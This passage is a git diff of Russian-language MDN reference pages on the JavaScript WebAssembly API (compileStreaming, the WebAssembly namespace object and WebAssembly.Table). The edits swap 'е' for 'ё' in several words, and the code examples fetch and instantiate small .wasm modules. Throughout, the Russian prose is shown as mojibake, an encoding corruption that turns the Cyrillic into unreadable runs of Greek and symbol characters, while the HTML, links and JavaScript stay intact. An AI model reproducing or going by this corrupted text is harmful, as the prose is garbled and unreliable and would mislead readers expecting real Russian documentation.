-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (см. ΠΠ°ΡˆΡƒ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> Π½Π° GitHub ΠΈ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ .wasm ΠΈΠ· исходника, Π·Π°Ρ‚Π΅ΠΌ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("WebAssembly.Module")}}.<br>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (см. ΠΠ°ΡˆΡƒ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> Π½Π° GitHub ΠΈ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ .wasm ΠΈΠ· исходника, Π·Π°Ρ‚Π΅ΠΌ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("WebAssembly.Module")}}.<br>
ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ функция <code>compileStreaming()</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Response")}}, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΅ΠΌΡƒ Π²Ρ‹Π·ΠΎΠ² {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, ΠΈ ΠΎΠ½ пСрСдаст ΠΎΡ‚Π²Π΅Ρ‚ Π² Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
@@ -40,7 +40,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))
.then(module =&gt; WebAssembly.instantiate(module, importObject))
.then(instance =&gt; instance.exports.exported_func());</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ создаСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ экзСмпляр модуля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("WebAssembly.instantiate()")}} ΠΈ вызываСтся экспортированная функция.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ создаётся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ экзСмпляр модуля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("WebAssembly.instantiate()")}} ΠΈ вызываСтся экспортированная функция.</p>
<h2 id="Π₯арактСристики">Π₯арактСристики</h2>
@@ -65,7 +65,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
index daff5d4ee7..5265fcdac1 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
@@ -5,9 +5,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
---
<div>{{JSRef}}{{SeeCompatTable}}</div>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ JavaScriptΒ <strong><code>WebAssembly</code></strong> дСйствуСт как пространство ΠΈΠΌΠ΅Π½ для всСго <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ JavaScriptΒ <strong><code>WebAssembly</code></strong> дСйствуСт как пространство ΠΈΠΌΡ‘Π½ для всСго <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°.</p>
-<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², <code>WebAssembly</code> Π½Π΅ являСтся конструктором (это Π½Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ). МоТно ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с {{jsxref("Math")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊ ΠΆΠ΅ являСтся пространством имСн констант ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΈΠ»ΠΈ Β {{jsxref("Intl")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся пространством ΠΈΠΌΠ΅Π½ для конструкторов ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… языково-Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
+<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², <code>WebAssembly</code> Π½Π΅ являСтся конструктором (это Π½Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ). МоТно ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с {{jsxref("Math")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊ ΠΆΠ΅ являСтся пространством имён констант ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΈΠ»ΠΈ Β {{jsxref("Intl")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся пространством ΠΈΠΌΡ‘Π½ для конструкторов ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… языково-Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
<h2 id="ОписаниС">ОписаниС</h2>
@@ -34,24 +34,24 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
<dl>
<dt>{{jsxref("WebAssembly.Module()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Module</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Module</code>.</dd>
<dt>{{jsxref("WebAssembly.Instance()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Instance</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Instance</code>.</dd>
<dt>{{jsxref("WebAssembly.Memory()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Memory</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Memory</code>.</dd>
<dt>{{jsxref("WebAssembly.Table()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Table</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>Table</code>.</dd>
<dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>CompileError</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>CompileError</code>.</dd>
<dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β WebAssembly <code>LinkError</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β WebAssembly <code>LinkError</code>.</dd>
<dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>RuntimeError</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WebAssembly <code>RuntimeError</code>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>ПослС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π°ΠΉΡ‚-ΠΊΠΎΠ΄Π°Β WebAssembly с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ fetch, ΠΌΡ‹ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΈ создаСм экзСмпляр модуля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{jsxref("WebAssembly.instantiate()")}}, импортируя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScriptΒ Π² WebAssembly Module Π² процСссС. Π­Ρ‚ΠΎΡ‚ промис Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (<code>result</code>), содСрТащий скомпилированныС <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая Π±Ρ‹Π»Π° экспортирована Ρ‡Π΅Ρ€Π΅Π·Β <code>Instance</code>.</p>
+<p>ПослС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π°ΠΉΡ‚-ΠΊΠΎΠ΄Π°Β WebAssembly с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ fetch, ΠΌΡ‹ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΈ создаём экзСмпляр модуля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{jsxref("WebAssembly.instantiate()")}}, импортируя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScriptΒ Π² WebAssembly Module Π² процСссС. Π­Ρ‚ΠΎΡ‚ промис Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (<code>result</code>), содСрТащий скомпилированныС <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая Π±Ρ‹Π»Π° экспортирована Ρ‡Π΅Ρ€Π΅Π·Β <code>Instance</code>.</p>
<pre class="brush: js">var importObject = {
imports: {
@@ -148,7 +148,7 @@ fetch('simple.wasm').then(response =&gt;
</table>
</div>
-<p>[1] WebAssembly Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Firefox 52+, хотя Π½Π΅ Π²Π°Π»ΠΈΠ΄Π΅Π½ Π²Β <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p>
+<p>[1] WebAssembly Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Firefox 52+, хотя Π½Π΅ Π²Π°Π»ΠΈΠ΄Π΅Π½ Π²Β <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p>
<p>[2] Π’ настоящСС врСмя поддСрТиваСтся Ρ„Π»Π°Π³ Β«Π­ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScriptΒ».  Для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="https://blogs.windows.com/msedgedev/2017/04/20/improved-javascript-performance-webassembly-shared-memory/">этот blog post</a>.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
index eb9bc5ce48..23fab50edb 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
---
<div>{{JSRef}}</div>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code><strong>WebAssembly.Table()</strong></code> - это JavaScript ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° β€” структура похоТая Π½Π° массив,Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ WebAssembly. Π’Π°Π±Π»ΠΈΡ†Π°, созданная Ρ‡Π΅Ρ€Π΅Π· JavaScript ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ΄Π΅Β WebAssembly,Β Π±ΡƒΠ΄Π΅Ρ‚ доступна ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΊΠ°ΠΊ ΠΈΠ· JavaScript,Β Ρ‚Π°ΠΊ ΠΈ ΠΈΠ·Β WebAssembly.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code><strong>WebAssembly.Table()</strong></code> - это JavaScript ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° β€” структура похоТая Π½Π° массив,Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ WebAssembly. Π’Π°Π±Π»ΠΈΡ†Π°, созданная Ρ‡Π΅Ρ€Π΅Π· JavaScript ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ΄Π΅Β WebAssembly,Β Π±ΡƒΠ΄Π΅Ρ‚ доступна ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΊΠ°ΠΊ ΠΈΠ· JavaScript,Β Ρ‚Π°ΠΊ ΠΈ ΠΈΠ·Β WebAssembly.</p>
<div class="note">
<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Π’Π°Π±Π»ΠΈΡ†Ρ‹ сСйчас хранят Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылки Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
@@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
<dl>
<dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/Table">WebAssembly.Table()</a></code></dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Table</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Table</code>.</dd>
</dl>
<h2 id="ЭкзСмпляры_Table">ЭкзСмпляры <code>Table</code></h2>
@@ -44,14 +44,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный ΠΊΠΎΠ΄</a>Β ΠΈ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">ΠΆΠΈΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a>Β table2.html) создаСт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр WebAssembly Table с 2 элСмСнтами. ПослС этого Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π΄Π»ΠΈΠ½Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ содСрТимоС ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… элСмСнтов (ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Π΄Π»ΠΈΠ½Π° равняСтся 2 ΠΈ элСмСнты Ρ€Π°Π²Π½Ρ‹Β {{jsxref("null")}}.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный ΠΊΠΎΠ΄</a>Β ΠΈ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">ΠΆΠΈΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a>Β table2.html) создаёт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр WebAssembly Table с 2 элСмСнтами. ПослС этого Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π΄Π»ΠΈΠ½Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ содСрТимоС ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… элСмСнтов (ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Π΄Π»ΠΈΠ½Π° равняСтся 2 ΠΈ элСмСнты Ρ€Π°Π²Π½Ρ‹Β {{jsxref("null")}}.</p>
<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
console.log(tbl.length); // "2"
console.log(tbl.get(0)); // "null"
console.log(tbl.get(1)); // "null"</pre>
-<p>ПослС этого ΠΌΡ‹ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° содСрТащий Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ:</p>
+<p>ПослС этого ΠΌΡ‹ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° содСрТащий Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ:</p>
<pre class="brush: js">var importObj = {
js: {
@@ -59,7 +59,7 @@ console.log(tbl.get(1)); // "null"</pre>
}
};</pre>
-<p>ПослС этого, ΠΌΡ‹ создаСм экзСмпляр модуля wasm (table2.wasm) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("WebAssembly.instantiateStreaming()")}}.Β  ΠœΠΎΠ΄ΡƒΠ»ΡŒ table2.wasm содСрТит Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ΄Π½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 42, Π° вторая -Β 83) ΠΈ сохраняСт эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄ индСксами 0 ΠΈ 1 Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a>).Β  Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, послС создания wasm-модуля, Ρ‚Π°Π±Π»ΠΈΡ†Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΡƒΠΆΠ΅ Π΄Π»ΠΈΠ½Ρƒ, Π½ΠΎ элСмСнты Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными ΠΈΠ· WebAssembly</a>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ· JS.</p>
+<p>ПослС этого, ΠΌΡ‹ создаём экзСмпляр модуля wasm (table2.wasm) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("WebAssembly.instantiateStreaming()")}}.Β  ΠœΠΎΠ΄ΡƒΠ»ΡŒ table2.wasm содСрТит Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ΄Π½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 42, Π° вторая -Β 83) ΠΈ сохраняСт эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄ индСксами 0 ΠΈ 1 Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a>).Β  